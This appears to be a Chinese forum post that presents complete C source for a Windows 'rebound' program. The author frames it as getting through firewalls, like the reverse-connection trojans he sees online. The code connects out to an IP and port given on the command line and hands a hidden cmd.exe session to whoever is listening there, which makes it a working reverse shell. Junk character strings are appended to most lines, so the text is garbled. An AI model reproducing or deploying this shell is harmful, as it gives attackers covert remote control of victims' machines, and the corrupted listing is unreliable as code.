这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 COFCa&m9c
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/* ============================== vT;~\,M
Rebound port in Windows NT U}c05GiQw
By wind,2006/7 9D{p^hd
===============================*/ zOn%\
#include a"!r]=r
#include owe6ge7m
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#pragma comment(lib,"wsock32.lib") g93Hl&
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void OutputShell(); n0vhc; d
SOCKET sClient; qt=nN-AC(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O)D+u@RhH
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void main(int argc,char **argv) i'MpS
{ k*|WI$
WSADATA stWsaData; eD)@:K
int nRet; 6fV;V:1{
SOCKADDR_IN stSaiClient,stSaiServer; r#\Lq;+-B
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if(argc != 3) f19'IH$n{
{ bq"dKN`
printf("Useage:\n\rRebound DestIP DestPort\n"); d6zfP1lQ
return; zc&i 4K
} ;6tGRh$b
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WSAStartup(MAKEWORD(2,2),&stWsaData); \!df)qdu
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q4]Qvf>
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stSaiClient.sin_family = AF_INET; >{.|Ng4K
stSaiClient.sin_port = htons(0); x]pZcx9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6rh^?B
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^$~&e :{
{ s/0~!0
printf("Bind Socket Failed!\n"); VPUm4%?p$
return; iE* Y@E5x0
} [=& tN)_
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stSaiServer.sin_family = AF_INET; MOIMW+n
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vhL/L?NB$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '=cAdja
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u$nYddak
{ F~zrg+VDjL
printf("Connect Error!"); hDD]Kc;G^1
return; z99jW<*0
} |s, Add:S
OutputShell();
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} Mo0pN\A}h
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void OutputShell() SoNT12>
{ ]C5/-J,F
char szBuff[1024]; }J(o!2.
SECURITY_ATTRIBUTES stSecurityAttributes; lJdwbuB6
OSVERSIONINFO stOsversionInfo; r"=6s/q7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C~8;2/F7
STARTUPINFO stStartupInfo; &0JCZ/e
char *szShell; t+2,;G
PROCESS_INFORMATION stProcessInformation; `Uy4> ?
unsigned long lBytesRead; eWU@@$9
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); E2yL9]K2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |5#iPw_wMY
stSecurityAttributes.lpSecurityDescriptor = 0; M}qrF~
stSecurityAttributes.bInheritHandle = TRUE; V^qkHm e
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )=6o,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *."a>?D~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); d <Rv~F@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?b3({P
stStartupInfo.wShowWindow = SW_HIDE; \@hq7:Q
stStartupInfo.hStdInput = hReadPipe; Y(Q!OeC
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GcCMCR3
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GetVersionEx(&stOsversionInfo); *$v`5rP
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switch(stOsversionInfo.dwPlatformId) ]97`=,OUg
{ mxkv{;ad
case 1: XS`=8FQ
szShell = "command.com"; oz#;7
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break; UY`U[#
default: y5$AAas
szShell = "cmd.exe"; P=PVOt@
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break; pPnJf{
} RZ GD5`n
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^UiSezcI
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send(sClient,szMsg,77,0); ;vLg4k
while(1) .jvRUD8A7
{ ,n\'dMNii
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EViQB.3w\
if(lBytesRead) y)#=8oci
{ 1-:{&!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w;8VD`>[|
send(sClient,szBuff,lBytesRead,0); $hE,BeQ
} 4Up\_
else <6[P5>
{ i)mQ?Y#o
lBytesRead=recv(sClient,szBuff,1024,0); ebmU~6v k
if(lBytesRead<=0) break; 8*m=U@5]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $ITh)#Nj
} iIO_d4Z
} j/*4Wj[
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return; YpwMfl4
}